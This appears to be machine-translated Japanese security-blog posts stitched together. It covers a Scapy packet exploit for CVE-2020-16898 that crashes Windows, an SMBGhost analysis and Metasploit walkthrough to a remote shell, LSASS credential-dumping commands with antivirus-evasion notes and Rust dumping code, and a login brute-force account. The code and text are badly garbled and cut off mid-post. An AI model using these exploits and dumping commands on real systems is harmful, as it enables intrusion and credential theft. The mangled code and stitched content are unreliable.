'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

'AAA:AAAA:AAA:AAAA:AAA:AAA3360AAA33:AAAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

aaa=icmpv6ndoptrdnss()

aaa.len=8

pkt=icmpv6nd_ra()/aaa/\

raw(load='a'.encode()*16*2 + p_test_half + b' \ x18 \ xa0 '*6) /c/e/c/e/c/e/c/e/c/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e

p_test_frag=ipv6(dst=v6_dst、src=v6_src、hlim=255)/\

ipv6exthdrfragment()/pkt

l=fragment6(p_test_frag、200)

L:のPの場合

送信(p)

3.最後に、コマンドPIP3インストールSCAPYを使用して依存関係パッケージをインストールし、CVE-2020-16898.pyを実行すると、ターゲットマシンにブルースクリーンが表示されます。

1049983-20201026093853020-2019763768.png 1049983-20201026093853380-926132184.png

4。ローカルチェックスクリプト:CVE-2020-16898_CHECKER.PS1

########################################################################################################################################

### 14/10/2020 -Cyril Pineiro/Synapsys -Itによって書かれています

###ネットワークインターフェイスがCVE-2020-16898 CVE-2020-16899に対して脆弱であるかどうかを確認します

###インターフェイスインデックスとエイリアスを返します

########################################################################################################################################

クリア

$ interfaces=(get -netipinterface | where {$ _。addressfamily -eq 'ipv6'})。ifindex

foreach($ interface in $ interface)

{

[bool] $ vuln=$ false

$ output=netsh int ipv6 sh interfaces interface=$ interface

foreach($ in $ output)

{

if($ line.contains( '6106') - および$ line.contains( 'enabled'))

{

[bool] $ vuln=$ true

}

}

$ netipInterfaceAlias=(((get-netipaddress -interfaceIndex $ interface | select-object interfacealias)[0])。interfacealias

if($ vuln)

{

書き込みホスト「インターフェイス」$($ interface) '' $($ netipinterfacealias) 'はcve-202020-16898 cve-2020-16899' -foregroundcolor redに対して脆弱です

}

それ以外

{

書き込みホスト「インターフェイス」$($ interface) '' $($ netipinterfacealias) ''は、CVE-2020-16898 CVE-2020-16899 '-ForeGroundColor Greenに対して脆弱ではありません

}

}

1049983-20201026093853716-1588600505.png

0x04脆弱性修正

オペレーティングシステムのバージョンを次のリンクから自分で一致させる脆弱性パッチを検索し、パッチをダウンロードしてインストールします

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/cve-2020-16898

0x05参照アドレス

https://github.com/momika233/cve-2020-16898-exp/blob/main/cve-2020-16898.py

https://github.com/cpo-eh/cve-2020-16898_checker/blob/main/cve-2020-16898_checker.ps1

https://github.com/ascotbe/kernelhub/tree/master/cve-2020-16898

0x00脆弱性の説明

脆弱性の発表は、SMB 3.1.1プロトコルで圧縮メッセージを処理する場合、そのデータがセキュリティチェックされていないことを示しています。直接使用すると、攻撃者がリモートで実行できるメモリの腐敗の脆弱性を引き起こします。攻撃者は、この脆弱性を使用して、許可なくリモートコードの実行を実現できます。ハッカーによって攻撃されたターゲットシステムは、オンラインでコンピューターをオンにするだけでハッキングされる場合があります。

0x01脆弱性応答バージョン

Windows 10 1903バージョン(x32ベースのシステム用)

Windows10バージョン1903(x64ベースのシステム用)

Windows10バージョン1903(ARM64ベースのシステム用)

Windows Server 1903バージョン(サーバーコアインストール)

Windows10バージョン1909(x32ベースのシステム用)

Windows10バージョン1909(x64ベースのシステム用)

Windows10バージョン1909(ARM64ベースのシステム用)

Windows Serverバージョン1909(サーバーコアインストール)

0x02脆弱性分析

脆弱性の発表は、SMB 3.1.1プロトコルで圧縮メッセージを処理する場合、そのデータがセキュリティチェックされていないことを示しています。直接使用すると、攻撃者がリモートで実行できるメモリの腐敗の脆弱性を引き起こします。攻撃者は、この脆弱性を使用して、許可なくリモートコードの実行を実現できます。ハッカーによって攻撃されたターゲットシステムは、オンラインでコンピューターをオンにするだけでハッキングされる場合があります。

1.ルール原因

脆弱性はSRV2.SYSで発生します。 SMBは圧縮されたパケットを正しく処理しないため、パケットを減圧すると、長さが合法かどうかを確認しません。最終的に、整数のオーバーフローが発生します。

2。予備分析

このエラーは、SRV2.SYS SMBサーバードライバーのSRV2DeCompressData関数の整数オーバーフローエラーです。これは機能の単純化されたバージョンであり、無関係な詳細を省略します。

typedef struct _compression_transform_header

{

ulongプロトコリッド;

ulong origional Compressedsegmentsize;

USHORT圧縮分解。

USHORTフラグ;

Ulong Offset;

} compression_transform_header、 *pcompression_transform_header;

typedef struct _allocation_header

{

//.

pvoid userbuffer;

//.

} allocation_header、 *pallocation_header;

ntstatus srv2decompressdata(pcompression_transform_header、size_t totalsize)

{

pallocation_header alloc=srvnetallocatebuffer(

(Ulong)(Header-Original CompressedSegmentsize + Header-Offset)、

null);

if(!alloc){

return status_insufficient_resources;

}

ulong finalCompressedSize=0;

ntstatus status=smbCompressionDecompress(

ヘッダー圧縮糖、

(Puchar)Header + sizeof(compression_transform_header) +ヘッダーオフセット、

(ulong)(totalsize -sizeof(compression_transform_header) - ヘッダーオフセット)、

(puchar)alloc-userbuffer +ヘッダーオフセット、

Header-Original Compressedsegmentize、

finalcompressedsize);

if(status 0 || finalCompressedSize!=header-OriginalCompressedSegmentize){

srvnetfreebuffer(alloc);

return status_bad_data;

}

if(ヘッダーオフセット0){

memcpy(

alloc-userbuffer、

(puchar)header + sizeof(compression_transform_header)、

ヘッダーオフセット);

}

srv2replacereceivebuffer(some_session_handle、alloc);

return status_success;

}

SRV2DECOMPRESSDATA関数は、クライアントから送信された圧縮メッセージを受信し、必要な量のメモリを割り当て、データを減圧します。次に、オフセットフィールドがゼロでない場合、圧縮データの前に配置されたデータを割り当てられたバッファの開始までコピーします。

rc5ragsikav7845.png

よく見ると、20行目と31行がいくつかの入力に整数オーバーフローを引き起こす可能性があることがわかります。たとえば、バグがリリースされた直後に表示されるほとんどのPOCは、システムがクラッシュし、0xffffff値をオフセットフィールドとして使用します。この値を使用すると、20行目で0xffffffffが整数オーバーフローをトリガーするため、割り当てられるバイトが少なくなります。

その後、31行目で追加の整数オーバーフローをトリガーします。クラッシュは、受信したメッセージが受信されたアドレスから30行目で計算されたメモリアクセスによって引き起こされます。コードが31行目の計算を検証した場合、バッファーの長さがマイナスであり、表現できないため、非常に早期に終了します。これにより、30行目自体のアドレスが無効になります。

etqvq4er0pr7846.png

3.オーバーフローコンテンツを選択します

整数のオーバーフローを引き起こすように制御できる2つの関連フィールドのみがあります:元のcomponedsegmentsize and offsetなので、多くの選択肢はありません。いくつかの組み合わせを試した後、次の組み合わせが私たちを引き付けました。正当なオフセット値と巨大なオリジナルの圧縮セグメントサイズ値を送信した場合はどうなりますか?コードが実行する3つのステップを確認しましょう。

割り当て:整数のオーバーフローにより、割り当てられたバイトの数は2つのフィールドの合計よりも少なくなります。

減圧:減圧は、非常に大きな元の複雑なセグメント化値を受け取り、ターゲットバッファーを無限のサイズとして扱います。他のすべてのパラメーターは影響を受けていないため、予想どおりに実行されます。

コピー:実行する場合は、コピーが予想どおりに実行されます。

コピーステップ——を実行したいかどうかは興味深いように見えます。これは、「割り当て」フェーズで必要以上に少ないバイトを割り当てることができたため、減圧段階でバウンド外の書き込みをトリガーできるかどうかです。

aw0iuzh0jpq7847.png

ご覧のとおり、この手法を使用して、あらゆるサイズとコンテンツのオーバーフローをトリガーできます。これは素晴らしいスタートです。しかし、私たちのバッファーの外側にあるものは何ですか?答えを見つけましょう!

4。 srvnetallocatebuffer

の詳細な分析

この質問に答えるには、srvnetallocatebufferの例では、割り当て関数を調べる必要があります。関数の興味深い部分は次のとおりです。

pallocation_header srvnetallocatebuffer(size_t allocsize、pallocation_header sourcebuffer)

{

//.

if(srvdisablenetbufferlookasidelist || allocsize0x100100){

if(allocsize0x1000100){

nullを返します。

}

result=srvnetallocatebufferfrompool(allocsize、allocsize);

} それ以外{

int lookasidelistindex=0;

if(allocsize0x1100){

lookasidelistindex=/* allocsize * /;

}

some_struct list=srvnetbufferlookasides [lookasidelistindex];

results=/* list from list * /;

}

//いくつかの結果フィールドを初期化.

結果を返します。

}

割り当て関数は、必要なバイト数に基づいて異なる操作を実行することがわかります。大規模な割り当て(約16MBを超える)は、実行障害を引き起こす可能性があります。中程度の割り当て(約1 MBを超える)は、SRVNETALLOCATEBUFFERFROMPOOL関数を使用して割り当てられます。小さな割り当て(残り)は、lookasideリストを使用して最適化されています。

注:関数の機能に影響を与えるSRVDISABLENETBUFFERLOOKSASIDELISTフラグもありますが、文書化されていないレジストリ設定によって設定されており、デフォルトで無効になっているため、あまり興味深いものではありません。

Lookasideリストは、ドライバー用の再利用可能な固定サイズのバッファーを効果的に保持するために使用されます。 Lookasideリストの関数の1つは、バッファーを管理するためのカスタム割り当て/リリース関数を定義することです。 srvnetbufferlookasidesアレイへの参照を見ると、srvnetcreatebufferlookasides関数で初期化されたことがわかりました。

カスタム割り当て関数は、srvnetallocatebufferfrompoolとのみを呼び出すsrvnetbufferlookasideallocateとして定義されます

9つのLookAsideリストは次のサイズで作成されます。Pythonを使用して迅速に計算します。

[範囲(9)のiのhex((1(i + 12)) + 256)]

[「0x1100」、「0x2100」、「0x4100」、「0x8100」、「0x10100」、「0x20100」、「0x40100」、「0x80100」、「0x100100」]]]]

これは、0x100100バイトを超える割り当てを割り当てる際には、lookasideリストが使用されないという私たちの発見と一致します。

結論は、各割り当て要求がsrvnetallocatebufferfrompool関数に終わるため、分析してみましょう。

6.SrvNetAllocateBufferFrompoolおよび割り当てられたバッファレイアウト

SRVNETALLOCATEBUFFERFROMPOOL関数は、ExallocatePoolWithTag関数を使用して、非PagedPoolnxプールのバッファーを割り当て、いくつかの構造をデータで埋めます。割り当てられたバッファレイアウトは次のとおりです。

cwjcpxtkgq37848.png

私たちの研究の範囲内で、このレイアウトの唯一の関連部分は、ユーザーバッファと割り当てヘッダー構造です。ユーザーバッファーにオーバーフローすることで、最終的にAllocation_Header構造を上書きすることがすぐにわかります。便利に見えます。

7. rewrite配分ヘッダー構造

この時点で、私たちの最初のアイデアは、SMBCompressionDeCompressによる呼び出し後に確認することです。

if(status 0 || finalCompressedSize!=header-OriginalCompressedSegmentize){

srvnetfreebuffer(alloc);

return status_bad_data;

}

SRVNETFREEBUFFERが呼び出され、元の複雑なセグメント化を多数に設計するため、関数が失敗し、最終的な複雑なサイズは実際の減圧バイトの数を表す少数になります。したがって、srvnetfreebuffer関数を分析し、マジック番号の割り当てられたポインターを正常に交換し、自由な機能が無料または同様の目的で後で使用することを期待して自由関数を解放しようとするのを待ちます。しかし、驚いたことに、Memcpy関数はクラッシュしました。私たちは何も考えていないので、これは私たちを幸せにしますが、なぜこれが起こるのかを確認する必要があります。説明は、SMBCompressionDecompress関数の実装にあります。

ntstatus smbcompressiondecompress(

USHORT圧縮分解、

puchar conpressedbuffer、

Ulong非圧縮バッファイズ、

Puchar圧縮バッファー、

ulong圧縮バッファイズ、

pulong finalcompressedsize)

{

//.

ntstatus status=rtldecompressbufferex2(

.

finaluncompressedsize、

.);

if(status=0){

* finalCompressedSize=compressedBufferSize;

}

//.

戻りステータス。

}

基本的に、減圧が成功した場合、最終的なcompressedSizeが更新され、バッファのサイズであるCompressedBufferSizeの値が節約されます。この小さな詳細は、割り当てられたバッファレイアウトと相まって、このバグの非常に便利な活用を可能にするため、この小さな詳細は私たちにとって非常に疑わしいように思えます。

実行は元のデータをコピーする段階に続くので、もう一度通話を確認しましょう。

memcpy(

alloc- userbuffer、

(puchar)title+ sizeof(compression_transform_header)、

ヘッダーオフセット);

Allocation_header構造のターゲットアドレスを読み取ります。これをオーバーライドできます。バッファーの内容とサイズも私たちによって制御されます。

8。ローカルアクセス許可は強化されています

私たちはそれをどこで開発するかを書いたので、私たちはそれをどうすることができますか?システムをクラッシュできることは明らかです。リモートコードの実行をトリガーできる場合がありますが、そうする方法は見つかりませんでした。 LocalHostでこの脆弱性を使用し、追加情報をリークする場合、これはいくつかのテクニックで証明されているため、ローカルの許可の高さに使用できます。

私たちが試した最初の手法は、Morten Schenkが《Black Hat USA 2017》スピーチで提案しました。この手法では、win32の.dataセクションで関数ポインターデータベースシステムドライバーを書き換え、ユーザーモードから対応する関数を呼び出してコード実行を取得します。 J00RUは、WCTF 2018でこのテクノロジーの使用に関する素晴らしい記事を書き、脆弱性ソースコードを提供しました。 SMBメッセージを処理するスレッドがGUIスレッドではないため、脆弱性がどこにあるかを書き留めるために調整しましたが、それは機能しないことがわかりました。したがって、Win32データベースシステムにはマッピングがなく、テクノロジーは関連性がありません(GUIスレッドを作成する方法がない限り)。

最終的には、Cesarcerが紹介した有名なテクノロジーを使用しました。2012年のBlack Hat DemoでEasy Native Windows Kernel Developmentを開発しました。この手法は、ntquerysysteminformation(systemhandleinformation)APIを使用して現在のプロセストークンアドレスをリークし、そのアドレスを書き直して、許可の高さに使用できる現在のプロセストークン許可を付与することです。 Bryan Alexander(Dronesec)およびStephen Breen(Breenmachine)(2017)は、EOP研究でプロキシ許可を乱用し、さまざまなトークン特権を使用して特権を高めるいくつかの方法を示しています。

任意の書き込み操作を活用して許可記事をエスカレートするとき、Alexandre Beaulieuの共有コードに基づいて攻撃しました。プロセスのトークン特権を変更した後、dllをwinlogon.exeに注入します。 DLLの全体的な目的は、コマンドプロンプトを開始することです。私たちの完全なローカル特権エスカレーションの証明はここにあり、研究/防衛の目的でのみ使用できます。

0x03 CVE-2020-0796 RCE脆弱性の再発

1。環境準備

攻撃航空機:KAL2019 IP:192.168.1.101

ターゲットターゲットマシン:Windows10 1903 X64(プロフェッショナルバージョン、エンタープライズバージョンも可能)IP:192.168.1.103

ターゲットマシンのアドレスをダウンロードしてください:

ED2K: //|ファイル| CN_WINDOWS_10_BUSINESS_EDITIONS_VERSION_1903_X64_DVD_E001DD2C.ISO | 4815527936 | 47D4C57E638DF8BF74C59261E2CE702D |///////

2。環境要件:

(1)。 POCはあまり安定しておらず、複数のテストが必要です(リスニングポートまたはネットワークの問題で占められていると考えてください)。

(2)。 POCが失敗した場合、ターゲットシステムがシステムに含まれているDefaulterを有効にして傍受した可能性があります。

(3)。テスト中は、ファイアウォールをオフにしてソフトを殺してポート445を開くのが最善です

3。繁殖手順

(1)。POCを使用したKaliダウンロード下のClone

root@kali2019:/opt#git clone https://github.com/chompie1337/smbghost_rce_poc.git

v2bdlmm55407849.png

(2)。 POCディレクトリに切り替えます

root@kali2019:/opt#cd smbghost_rce_poc/

frnfu4uow0p7850.png

(3)。このPOCは、Python3環境で実行する必要があります

k3xtspoe3dc7851.png

(4)。ターゲットマシンのIPアドレスとシステムバージョンを見ることができます

zj3a5oalpgg7852.png peap2arwaxc7853.png

(5)。 Kaliの下でリバウンドシェルコードのPythonバージョンを生成します

root@kali2019:〜#msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py

mprkv430dqq7854.png

(6)。生成されたシェルコードを見ることができます

root@kali2019:〜#cat exp.py

xkdeyzmwasj7855.png

(7)。生成されたexp.pyコードのすべての変数BUFを変数user_payloadに置き換え、すべてのコードを貼り付け、次のコードを上書きします。

yobataxt5wj7856.png

(8)。 KaliでMSFを開始し、次のように設定します

MSF5 Exploit/Multi/Handlerを使用します

MSF5 Exploit(Multi/Handler)Payload Windows/x64/meterpreter/bind_tcp #setリバウンドモードを設定します

MSF5エクスプロイト(マルチ/ハンドラー)SET RHOST 192.168.1.103#ターゲットマシンのIPアドレスをセット

MSF5 Exploit(Multi/Handler)セットLPORT 2333#リスニングポートをセットします

MSF5エクスプロイト(マルチ/ハンドラー)エクスプロイト

b43ydyrgpfr7857.png

(9)。 POCを使用して実行すると、実行が成功していることがわかります。キーを押すと、キーを入力するのが最善です。

python3 exploit.py -ip 192.168.1.103

t2zd4cjujsv7858.png

(10)。 MSFでは、ターゲットマシンのターゲットマシンから正常に跳ね返るシェルが確認できることがわかります。

ehugxzqcgr57859.png0x04 CVE-2

序文

lsass.exe(ローカルセキュリティ局のサブシステム

サービスプロセススペースには、マシンのドメイン、ローカルユーザー名、パスワードなどの重要な情報があります。ローカルの高権限を取得すると、ユーザーはLSASSプロセスメモリにアクセスできるため、水平の動きと許可エスカレーションのために内部データをエクスポートできます。 LSAを介したユーザーパスワードまたはハッシュのダンプも、浸透プロセスに不可欠なステップです。ここでは、原則を学び、さまざまな投棄方法を記録します。

[TOC]

一般的な方法

mimikatz :: logonpasswords

通常、これらのツールをLolbinsと呼びます。つまり、攻撃者はこれらのバイナリを使用して、元の目的を超えて操作を実行できます。 Lolbinsでメモリをエクスポートするプログラムに焦点を当てています。

ホワイトリストツール

3つのMicrosoft Signature Whitelistプログラム

procdump.exe

sqldumper.exe

createdump.exe

procdump dump lsass.exeのメモリ

Procdumpは、プロセスメモリの投棄用に提供されるMicrosoft署名された法的バイナリファイルです。 Microsoftドキュメントで公式Procdumpファイルをダウンロードできます

ProcDumpを使用して、LSASプロセスDMPファイルをつかみ、

procdump64.exe -accepteula -ma lsass.exe lsass_dump

その後、使用するMimikatzを構成できます

sekurlsa:3360minidump lsassdump.dmp

sekurlsa:3360logonpasswords

lsass.exeに敏感な場合は、lsass.exe pidで使用することもできます。

procdump64.exe -accepteula -ma pid lsass_dum

この原則は、LSASS.EXEはWindowsシステムのセキュリティメカニズムであり、主にローカルセキュリティおよびログインポリシーに使用されるということです。通常、システムにログインするときにパスワードを入力した後、パスワードはlsass.exeメモリに保存されます。 2つのモジュールをWDigestとTSPKGを呼び出した後、可逆アルゴリズムを使用して暗号化され、メモリに保存されます。 Mimikatz LSASS.EXEの逆の計算により、プレーンテキストパスワードを取得します。

検出と殺害の状況に関して、トルブリンウイルスはスキャンされず、360は13バージョンでは検出されず、14バージョンで検出されたことがわかりました。

sqldumper.exe

sqldumper.exeユーティリティはMicrosoft SQL Serverに含まれています。 SQL Serverのメモリダンプと、デバッグ目的で関連プロセスを生成します。

Sqldumperへの一般的なパスは次のとおりです

C: \ Program Files \ Microsoft SQL Server \ 100 \ shared \ sqldumper.exe

C: \ Program Files \ Microsoft Analysis Services \ as oledb \ 10 \ sqldumper.exe

c: \プログラムファイル(x86)\ microsoft sql server \ 100 \ shared \ sqldumper.exe

sqldumper.exeは、完全なダンプファイルを生成するためにMicrosoft SQLおよびOfficeに含まれています。

TaskList /SVC | findstr lsass.exe lsass.exeのpid数を表示します

sqldumper.exe processid 00x01100エクスポートmdmpファイル

次に、局所的に復号化すると、同じバージョンのオペレーティングシステムを使用する必要があります。

mimikatz.exe 'sekurlsa:minidump sqldmpr0001.mdmp' 'sekurlsa:3360logonpasswords full' exit

360に殺されたタントレンは検出されませんでした

createdump.exe

.NET5の出現により、それはネイティブバイナリ自体です。署名はありますが、AVによって調査され殺されました。

createdump.exe -u -f lsass.dmp lsass [pid]

360によって殺されます

comsvcs.dll

comsvcs.dllは、主にCOM+サービスサービスを提供しています。このファイルはすべてのWindowsシステムで見つけることができ、プロセスの完全なダンプをrundll32を使用して実装して、エクスポート機能minidumpを実行できます。

このファイルはホワイトリストファイルです。主にcomsvsc.dllのエクスポート関数Apiminidumpを使用して、lsass.exeをダンプする目的を達成します。管理者の権限も必要であることに注意してください。 Sedebugprivilegeの許可を有効にする必要があるためです。 CMDでは、この許可はデフォルトで無効になり、PowerShellはデフォルトで有効になります。このファイルは、c: \ windows \ system32 \ comsvcs.dllにあります

次の方法を使用してMinidumpを呼び出してダンピングlsass.exeプロセス:を達成できます

PowerShell C: \ Windows \ System32 \ rundll32.exe C: \ windows \ system32 \ comsvcs.dll、minidump(get-process lsass).id $ env:temp \ lsass-comsvcs.dmp full

360もチェックして殺します。 Apiminidumpを呼び出すことでメモリを直接投棄するこの動作は、依然としてあまりにも敏感です。わずかな変更なしでチェックして殺されるのは簡単です。

他のツール

rdleakdiag.exe

デフォルトの既存のシステム:

Windows10 Windows8.1Windows8 Windows7 WindowsVista

ソフトウェアバージョン10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000

そのようなものがない場合は、渡すことを選択できます。

DMPメモリファイルを生成します

rdrleakdiag.exe /p pid /o outputdir /fullmemdmp /wait 1 rst

結果*+プロセスpid+.hlk、minidump*+プロセスpid+.dmpの2つのファイルが生成されます。次に、Mimikatzを使用して割れます。

avdump.exe

avdump.exeは、Avast Antivirusソフトウェアに付属するプログラムです。指定されたプロセス(lsass.exe)のメモリデータをダンプするために使用できます。 Avast Anti-Soft Digital Signatureが付属しています。したがって、一般的にAVによって殺されません。

住所をダウンロード:https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfodownloadsaveinfodivgoto2

PSで呼び出す必要があります。そうしないと、CMDはデフォルトでSedebugprivilegeの許可を有効にしませんが、360はAvdumpを検出します。\ avdump.exe - pid lsass pid -exception_ptr 0 -thread_id 0 - dump_level 1 - dump_file c: \ uses \ admin \ desktop \ lsass.dmp - min_interval 0

しかし、それは360によっても殺されます。

所有者の編集dll

apiminidumpを呼び出すデモ

これには、Windowsプロセスプログラミングが含まれます。まず、Windowsの下でプロセスを通過する方法を確認できます。プロセスを横断するには、いくつかのAPIと構造が必要です。

1.プロセススナップショットを作成します

2。通過する最初のプロセスを初期化します

3。次のトラバーサルに進みます

4。プロセス情報構造

createToolHelp32SNAPSHOTを使用してプロセスを作成します

winapi createToolhelp32Snapshot(

dword dwflags、//「スナップショット」で返されるオブジェクトを指定するために使用されます。これは、th32cs_snapprocessなどです。

dword th32processid //プロセスID番号を使用して、スナップショットを取得するプロセスを指定します。システムプロセスのリストを取得したり、現在のプロセスのスナップショットを取得したりする場合、0に設定できます。

);

Process32Firstを使用して最初のプロセスハンドルを取得します

bool winapi process32first(

HSNAPSHOT、//_ in、プロセススナップショットハンドル

lpprocessentry32 lppe //_ out、プロセス情報構造を渡すと、システムはあなたのためにそれを埋めます。

);

Process32Nextを使用して次のプロセスを取得します

bool winapi process32next(

hsnapshotを処理し、createToolHelp32SNAPSHOTから返されたハンドル

LPPROCESSENTRY32 LPPEポインターへのProcessEntry32構造、プロセス情報構造

);

また、ProcessEntry32の構造が私たちに役立つものも含まれます。

初期化構造のDwsizeサイズTh32ProcessIDプロセスIDSZEXEXEFILE [MAX_PATH]プロセスパスtypedef struct tagprocessentry32 {

dword dwsize; //構造サイズは、最初の呼び出しの前に初期化する必要があります。

dword cntusage; //このプロセスの参照カウントは0です。プロセスは終了します。

dword th32processid; //プロセスID;

dword th32defaultheapid; //デフォルトのヒープIDを処理します。

dword th32moduleid; //モジュールIDを処理します。

dword cntthreads; //このプロセスが開くスレッドのカウント。

dword th32parentprocessid; //親プロセスID;

長いpcpriclassbase; //スレッドの優先順位;

dword dwflags; //予約済み;

char szexefile [max_path]; //完全なプロセス名;

} processentry32;

したがって、Rustによって実装されたコードは次のとおりです

fn getProcess(){

安全でない{

mut handle=createToolHelp32SNAPSHOT(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD、0);

mut process_entry : processentry32=zeroed();

process_entry.dwsize=std:3360mem:size_of:processentry32()as u32;

//mut process_handle=null_mut();

if!handle.is_null(){

process32first(handle、mut process_entry)==1 {

ループ{

extfileName=osstring3:from_wide(process_entry.szexefile.iter()。map(| x | x as u16).take_while(| x | x 0).collect:vecu16()。as_slice()。

println!( '{:} --------- {:}'、extfileName、process_entry.th32processid);

process32next(handle、mut process_entry)==0 {

壊す;

}

}

}

}

}

}

完全なダンプLSASプロセスメモリのコード

STD: {mem: {size_of}、ffi: {cstr、osstring、c_void、osstr}、OS:WINDOWS:PRELUDE3: { asrawhandle、rawhandle、osstrext}、fs:3:file、path: {path、self}};

STD:3360PTRを使用します。

clap:を使用します{app、arg};

log: {error}を使用します。

windows_sys: {win32: {foundation: {

CloseHandle、getLasterRor、invalid_handle_value、handle、luid、

}、security: {token_privileges、luid_and_attributes、se_privilege_enabled、token_adjust_privileges、lookupprivilegevaluea、adcusttokenprivileges}、system333333333:opentoken、診断:TOOLHELP3360:THS_SNAPTHREAD}、Storage:FilesSystem:3:Createfilea}、Core:PCSTR};

Windows_Sys:WIN32:STORAGE:3360FILESSTEM: {

createfilew、create_always、file_attribute_normal、

};

windows_sys:3:win32:system:3360diagnostics:3360debug: {

minidumpwithfullmemory、minidumpwritedump

};

windows_sys:3:win32:system:3360diagnostics:3360toolhelp: {

CreateToolhelp32Snapshot、Process32First、Process32Next、ProcessEntry32、Th32CS_SNApprocess、

};

Windows_Sys:3:WIN32:SESTEST:3360SYSTEMSERVICES:3360GENERIC_ALL;

Windows_Sys:WIN32:SESTESTESTEM:3360THREADING: {openProcess、process_all_access}を使用してください。

fn getPrivilege(ハンドル:ハンドル){

安全でない{

mut h_token: handle=handle:default();

mut h_token_ptr: *mut handle=mut h_token;

let tkp: token_privileges=token_privileges {

PrivileGecount: 1、

特権: [luid_and_attributes {

luid: luid {

LowPart: 0、

highpart: 0、

}、

属性: SE_PRIVILEGE_ENABLED、

}]、

};

//現在のプロセスのアクセストークンを開きます

token=openProcessToken(handle、token_adjust_privileges、h_token_ptr);

token!=0の場合{

let systemname=ptr:3360null_mut();

lookupprivilegevalueaの場合(

SystemName、

b'sedebugprivilege \ 0'.as_ptr()、

mut tkp.privileges [0] .luid)!=0 {

tkp.privileges [0] .attributes=se_privilege_enabled;

//println!( '{:}'、tkp.privileges [0] .attributes);

//現在のプロセスのSedebugprivilege許可を改善します

adcusttokenprivilegesの場合(

h_token、

0、

tkp as *const token_privileges、

0、

ptr:null_mut()、

ptr:null_mut())!=0 {

println!( 'トークン特権が調整された');

} それ以外{

let_error=getLasterRor();

println!( 'AductTokenPrivilegesがERROR:ステータス({:})'、last_error)で失敗しました。

}

} それ以外{

let_error=getLasterRor();

println!( 'lookupprivilegevalueはerror: status({:})'、last_error)で失敗しました。

}

//アクセストークンハンドルを閉じます

CloseHandle(h_token);

} それ以外{

let_error=getLasterRor();

println!( 'openProcessTokenはERROR:ステータスで失敗しました({:})'、last_error);

}

}

}

fn getProcess(lsassfile : str){

安全でない{

mut h_snapshot=createToolHelP32SNAPSHOT(TH32CS_SNAPPROCESS、0);

h_snapshot==invalid_handle_value {

println!( 'createToolhelp32Snapshot'を呼び出さなかった ');

}

mut process_entry: processentry32=std:mem:3360zeroed3:3360processentry32();

process_entry.dwsize=size_of:3360processentry32()as u32;

process32first(h_snapshot、mut process_entry)==0 {

println!( 'process32first error');

}

ループ{

let extfilename=cstr3:from_ptr(process_entry.szexefile.as_ptr()as *const i8).to_bytes();

extfile=osstring3:from_wide(extfilename.iter()。マップ(| x | x as u16).collect:vecu16()。as_slice()。

extfile.starts_with( 'lsass.exe'){

println!( '[+] got {:} pid: {:}'、extfile、process_entry.th32processid);

壊す;

}

process32next(h_snapshot、mut process_entry)==0 {

println!( 'process32next'を呼び出すことに失敗しました);

壊す;

}

}

let lsass_pid=process_entry.th32processid;

let process_handle=openProcess(process_all_access、0、lsass_pid);

process_handle==0の場合{

println!( 'プロセスを開くことができない');

}

let lsassfile=lsassfile;

lsassfile: vecu16=osstr:new(lsassfile).encode_wide()。チェーン(some(0).into_iter())。collect();

let lsasshandle=createfilew(

lsassfile.as_ptr()as *const u16、

generic_all、

0、

ptr:null_mut()、

create_always、

file_attribute_normal、

0、

);

lsasshandle==invalid_handle_value {

println!( 'file {:}'、lsassfile.to_string());

}

rest=minidumpwritedump(

浸透テスト中に、多くのWebログインページがあります。では、テストを実施するためにどのようなアイデアを使用する必要がありますか?私のテスターのアイデアのいくつかを見てみましょう。

テストアイデアこのようなWebログインボックスを表示すると、どのように浸透しますか?

1049983-20221122161144125-937896601.jpg

ログインするときに検証コードがなく、ブラストの問題が発生することがわかります。したがって、ブラストのユーザー名は一般的に何が存在しますか

1.admin

2.テスト

3.root

ここでは、対応するシステムのオペレーターテストを見つけ、アカウントを収集および管理し、爆破の可能性を高めることもできます。

ここで爆破が行われましたが、結果はありませんでした

ディレクトリスキャンディレクトリをスキャンできます。いくつかのスキャンされたディレクトリは認証されておらず、直接アクセスできるかもしれません。

1049983-20221122161144975-43469940.png

上記の方法がJSファイルによって承認されていない後、次のJSファイルを見ていきます

index.jsに /systemmng /index URLがあることがわかりました

アクセスをスプライスしようとします

1049983-20221122161145762-648547022.jpg

スプライシングした後、何もないことがわかりました。あきらめる準備はできていますか?

1049983-20221122161146563-1851357490.jpg

心配しないでください、JSが驚きを見つけたかどうか見てみましょう

1049983-20221122161147284-1744435551.jpg

いくつかのピースのスプライシングは非常に有害です。すべての人のために使用し続けるために1つ取ってください

1049983-20221122161147977-1570743273.jpg

コンビネーションパンチの弱いパスワード爆発がこの点に達しました。管理者のアカウントと電話番号を取得しました。また、パスワードを直接リセットすることもできます(正しいアカウントを取得して爆発してみてください)

パスワードが暗号化され、M5として見つかったことがわかります。 Burpが提供するトランスコーディングとブラストを使用できます。

1049983-20221122161148870-450547764.jpg

爆破は成功し、アカウントは比較的複雑です。以前の操作なしではユーザー名を取得できません。

1049983-20221122161149626-1906501501.jpg

正常にログインします

1049983-20221122161150320-470810085.jpg

ログインしてパッケージテストを返します。ログインしたアカウントパスワードを自由に入力します。ログインしてパッケージをつかみます。

認証データを変更した後

1049983-20221122161151069-1570905541.jpg

